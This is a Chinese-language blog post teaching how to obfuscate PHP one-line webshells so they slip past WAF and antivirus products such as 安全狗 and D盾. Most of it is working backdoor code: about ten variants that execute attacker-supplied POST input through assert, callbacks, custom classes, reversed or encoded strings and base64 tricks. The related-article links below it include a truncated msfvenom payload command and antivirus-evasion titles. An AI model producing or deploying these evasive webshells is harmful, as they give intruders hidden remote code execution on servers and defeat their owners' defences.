前言

这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助。这里解释一下什么是php木马,这里大体分为三种:

  1. 能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的,这种的是“小马”。
  2. 可以在目标服务器上执行php代码,并和一些客户端(如菜刀、冰蝎)进行交互的一句话木马。
  3. 根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的“大马”

    以上php木马我们一般我们统称为webshell,这篇文章主要写一下如何对一句话木马变异变形来绕过WAF的查杀。

一句话木马原理

讲php一句话木马免杀之前,先简单说一下一句话木马原理,这样才能更好的举一反三。

先看代码:

<?php eval($_POST["shell"]);?>

其中eval就是执行命令的函数,官方给的说明是eval — 把字符串作为PHP代码执行

函数eval()语言结构是 非常危险的,因为它允许执行任意 PHP 代码。

还有一点需要注意:因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。

说的在通俗一点,就是如果你这样用<?php $a=eval;$a() ?>是不行的,所以变形免杀的时候不够灵活,咱们找其他的函数代替,后面讲免杀再详细说。

$_POST['shell']就是接收的数据。也可以使用$_GET或者$_REQUEST。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。

下面通过几种方法讲一讲木马的免杀

相同功能函数替换

一般WAF查杀,就是检查关键字,而eval上文说过不够灵活,这里可以替换成assert,assert函数PHP手册的解释是:

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!

而我们光替换还是远远不够,还是无法逃过WAF查杀,这样就需要变形了,所以第二种方法字符串变形。绕安全狗比较靠谱,因为安全狗更注重形。而PHP操作字符串的函数非常多,如下图:



这里也总结了一些:

convert_uudecode() #解码一个 uuencode 编码的字符串。
convert_uuencode() #使用 uuencode 编码一个字符串。
ucwords() #函数把字符串中每个单词的首字符转换为大写。
strrev () #反转字符串
trim() #函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() #函数把字符串的一部分替换为另一个字符串
substr() #函数返回字符串的一部分。
strtr() #函数转换字符串中特定的字符。
strtoupper() #函数把字符串转换为大写。
strtolower() #函数把字符串转换为小写。
implode() #将一个一维数组的值转化为字符串。
str_rot13() #函数对字符串执行 ROT13 编码。

举个例子:

<?php
// 使用 uuencode 编码一个字符串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>

这里就不一一举例了。

自定义函数绕过

举个例子:

<?php
function shadog($a){
$a($_POST["shell"]);
}
shadog(assert);
?>

这种方法绕安全狗比较靠谱,在D盾面前就比较弱智了。

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()

现在大部分回调函数已经被杀毒软件加入全家桶了,得找那比较生僻得。

比如:

<?php
forward_static_call_array(assert,array($_POST["shell"]));
?>

上面说大部分回调函数被杀毒软件加入全家桶,那如何绕过呢?还可以变形,比如我再定义一个函数,或者再定义一个类。

比如我定义一个函数

<?php
function shawaf($a,$b){
forward_static_call_array($a,$b);
}
shawaf(assert,array($_POST["shell"]));
?>

也可以定义一个类

<?php
class shawaf{
var $a;
var $b;
function __construct($a,$b)
{
$this->a=$a;
$this->b=$b;
}
function test(){
forward_static_call_array($this->a,$this->b);
}
}
$s1= new shawaf(assert,array($_POST["shell"]));
$s1->test();
?>

特殊字符干扰

特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。比如网上流传得连接符。

举个例子:

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

数组绕过

可以把代码放入数组中,执行绕过:

<?php
$a=strrev ("tressa");
$b=[''=>$a($_POST["shell"])];
?>

类绕过

举个例子:

<?php
class shawaf
{
public $a = '';
function __destruct(){ assert("$this->a");
}
} $b = new shawaf;
$b->a = $_POST["shell"];
?>

编码绕过

这个比较常用得是base64_decode,和base64_encode这一对。因为他的正则匹配可以加入一些下划线干扰杀软。

举个例子:

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST["shell"]);
?>

小结

通过上面得方法,基本可以有上百种变形,多看看PHP手册。还有一点值得注意,就是PHP7.1之后得版本,已经不能使用强大的assert()函数了。在总结一点,结合杀毒软件的特性来构造相应的免杀方法。比如安全狗杀型,D盾杀参,对于关键词的后传入对于绕过主流杀软都是比较好的。

PHP木马免杀的一些总结的更多相关文章

  1. 后门木马免杀-msfvenom和msf5(evasion)

    贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpr ...

  2. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  3. 2018-2019-2 网络对抗技术 20165333 Exp3 免杀原理与实践

    实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生成各种后门程序及检测 使 ...

  4. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  5. BadUsb配合Cobalt-Strike免杀上线

    BadUsb配合Cobalt-Strike免杀上线 前言: 原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作.Badusb将恶意代码预存在U盘 ...

  6. 那些shellcode免杀总结

    首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...

  7. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  8. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  9. Metasploit实现木马生成、捆绑、免杀

    原创博客,转载请注出处! 我的公众号,正在建设中,欢迎关注: Meatsploit介绍 2018/01/03 更新 Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可 ...

随机推荐

  1. jQuery的小测试

    1.在div元素中,包含了一个<span>元素,通过has选择器获取<div>元素中的<span>元素的语法是? $('div:has(span)'); 2.在&l ...

  2. 把H2数据库从jar包部署到Kubernetes,并解决Ingress不支持TCP的问题

    1 前言 欢迎访问南瓜慢说 www.pkslow.com获取更多精彩文章! H2 Database是一个优秀的数据库,又小又方便,支持内存和文件形式,经常会在测试.POC(proof of conce ...

  3. OpenCV Error - Core.hpp header must be compiled as C++

    在XCode 里编译OpenCV的时候,经常报如题类似的错误. 简单解决办法: 把 *.m 文件重命名为 *.mm 即可

  4. java集合初探(一):HashMap.

    一.概述 HashMap可能是我们最经常用的Map接口的实现了.话不多说,我们先看看HashMap类的注释: 基于哈希表的Map接口实现. 这个实现提供了所有可选的映射操作,并允许空值和空键.(Has ...

  5. 运用sklearn进行线性判别分析(LDA)代码实现

    基于sklearn的线性判别分析(LDA)代码实现 一.前言及回顾 本文记录使用sklearn库实现有监督的数据降维技术——线性判别分析(LDA).在上一篇LDA线性判别分析原理及python应用(葡 ...

  6. 「查缺补漏」巩固你的RocketMQ知识体系

    Windows安装部署 下载 地址:[https://www.apache.org/dyn/closer.cgi?path=rocketmq/4.5.2/rocketmq-all-4.5.2-bin- ...

  7. 七脚OLED屏幕使用IIC接口

    7pin 0.96寸OLED模块支持SPI和IIC接口 默认是SPI接口;如果想用IC接口;操作如下几步骤: 1.将模块背面的电阻R3换到R1位置,此时将模块切换为IIC接口:电阻R8可以用0欧姆电阻 ...

  8. HDFS的数据流读写数据 (面试开发重点)

    1 HDFS写数据流程 1.1 剖析文件写入 HDFS写数据流程,如图所示 1)客户端通过Distributed FileSystem模块向NameNode请求上传文件,NameNode检查目标文件是 ...

  9. 【译】Database Profiling with Visual Studio

    你是否在排查运行缓慢的 web 应用程序时怀疑是数据库层造成的?以前排查数据库层需要特定的工具,现在可以使用 Visual Studio 的 Performance Explorer 中的数据库分析工 ...

  10. hyperledger-fabric环境快速搭建踩坑集锦(实用)

    安装docker 及 docker-compose 安装docker没什么好说的,一部分教程都给出了指令,在这里就不谈了. docker-compose不同的教程给出了不同的方法,在这里介绍一种极为快 ...